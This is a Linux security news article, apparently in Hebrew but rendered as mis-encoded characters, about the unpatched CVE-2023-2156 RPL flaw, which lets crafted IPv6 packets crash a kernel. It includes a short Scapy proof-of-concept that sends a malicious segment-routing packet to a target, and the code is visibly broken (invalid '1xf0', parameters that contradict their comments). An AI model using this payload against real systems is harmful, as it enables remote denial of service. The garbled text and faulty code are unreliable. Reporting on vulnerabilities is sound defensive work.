ื ืืฉืฃ ืืืืข ืืืื ืคืืืขืืช ืื ืืชืืงื ืช (0-ืืื) (CVE-2023-2156) ืืืืืช ืืื ืืงืก, ืืืืคืฉืจืช ืขืฆืืจืช ืืืขืจืืช ืขื ืืื ืฉืืืืช ืื ืืช IPv6 ืฉืชืืื ื ื ืืืืืื (ืืืืืช-ืืืืช). ืืืขืื ืืืคืืขื ืจืง ืืืฉืจ ืืืคืขืืช ืชืืืื ืืคืจืืืืงืื RPL (Routing Protocol for Low-Power and Lossy Networks), ืืฉืจ ืืืฉืืช ืืืจืืจืช ืืืื ืืืคืฆืืช ืืืฉืืฉ ืืขืืงืจ ืืืืฉืืจืื ืืฉืืืฆืื ืืคืืขืืื ืืจืฉืชืืช ืืืืืืืืช ืขื ืืืืื ืื ืืช ืืืื.
ืืคืืืขืืช ื ืืจืืช ืืขืืืื ืฉืืื ืฉื ื ืชืื ืื ืืืฆืื ืืื ืืงืื ืื ืืชืื ืฉื ืคืจืืืืงืื RPL, ืื ืฉืืืืื ืืืฉื ื-assert ืืืื ืืกื ืฉื ืืงืจื ื ืืืฆื ืคืื ืืงื. ืืืฉืจ ืืืงืืื ืืช ืื ืชืื ืื ืฉืืชืงืืื ืื ืืชืื ืืืชืจืช ืืืืืื IPv6 RPL ืืืื ื k_buff (Socket Buffer), ืื ืืฉืื CmprI ืืืืืจ ื-15, ืืฉืื Segleft ื-1 ื-CmprE ื-0, ืืืืงืืืจ ืฉื 48-ืืชืื ืขื ืืชืืืืช ืื ืืชืง ื-528 ืืชืื ืืืืคืืข ืืฆื ืฉืื ืืืืืจืื ืฉืืืงืฆื ืืืืืจ ืืื ื ืืกืคืืง. ืืืงืจื ืื, ืืคืื ืงืฆืื skb_push, ืืืฉืืฉืช ืืืืืคืช ื ืชืื ืื ืืชืื ืืืื ื, ืืืืงืช ืื-ืืชืืื ืืื ืืืื ืื ืชืื ืื ืืืืืจ, ืืืืฆืจืช ืืฆื ืคืื ืืงื ืืื ืืื ืืข ืืชืืื ืืขืืจ ืืืืื ืืืืืจ.
ื ืืฆืื ืืืืืื: # ืื ื ื ืฉืชืืฉ ื-Scapy ืืื ืืืฆืืจ ืืช ืืืืืื ื-scapy.all import * ืฉืงืข ืืืืื โโ# ืืฉืชืืฉ ื-IPv6 ืืืืฉืง ื-LAN ืฉืื DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # ืื ื ืืฉืชืืฉืื ืืฉืงืขืื ืืื ืืฉืืื ืืช ืืืืืื sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # ืฆืืจ ืืช ืืืืืื # ืกืื = 3 ืืืคื ืืช ืื ืืืืืืช RPL # ืืชืืืืช ืืืืืืช 3 ืืชืืืืช, ืืื ืืืื ืฉ-CmprI ืืื 15, # ืื ืืืงืื ืืฉืชื ืืืชืืืืช ืืจืืฉืื ืืช ืืื ืืืืคื ืืืชืืืช ืืืืกื # Segleft = 1 ืืื ืืืคืขืื ืืช ืืืืืจื # lastentry = 0xf0 ืืืืืจ ืืช CmprI ื-15 ืืืช CmprE ื-0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting=[โa3: address :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # ืฉืื ืืืืื ืจืขื ืื sockfd.sendto(bytes(p), (DST_ADDR, 0))
ืจืืื ืืฆืืื ืื ืืคืชืื ืืืืื ืงืืืื ืืืืขื ืขื ืืคืืืขืืช ืขืื ืืื ืืืจ 2022 ืืืืืื 15 ืืืืืฉืื ืืืืจืื ืื ืื ื ืืกื ืืชืงื ืืช ืืืขืื ืฉืืืฉ ืคืขืืื, ืืืืฆืืื ืชืืงืื ืื ืืกืคืืืืจ 2022, ืืืงืืืืจ 2022 ืืืคืจืื 2023, ืื ืืื ืคืขื ืืชืืงืื ืื ืืื ืื ืืกืคืืง ืืื ื ืืชื ืืื ืืฉืืืจ ืืช ืืคืืืขืืช. ืืกืืคื ืฉื ืืืจ, ืคืจืืืงื ZDI, ืฉืชืืื ืืช ืืขืืืื ืืชืืงืื ืืคืืืขืืช, ืืืืื ืืฉืืจืจ ืืืืข ืืคืืจื ืขื ืืคืืืขืืช ืืืื ืืืืืช ืืชืืงืื ืขืืื ืฉืืืื ืืืื ืืงืจื ื.
ืืคืืื, ืืคืืืขืืช ืขืืืื ืื ืืชืืงื ืช. ืืคืจื, ืืชืืงืื ืืืืื ืืงืจื ื 6.4-rc2 ืืื ื ืืขืื. ืืืืืฅ ืืืฉืชืืฉืื ืืืืืง ืฉืื ื ืขืฉื ืฉืืืืฉ ืืคืจืืืืงืื RPL ืืืขืจืืืช ืฉืืื, ืืืจ ืฉื ืืชื ืืขืฉืืช ืืืืฆืขืืช ืืคืงืืื sysctl -a | grep -i rpl_seg_enabled
ืืงืืจ: OpenNet.ru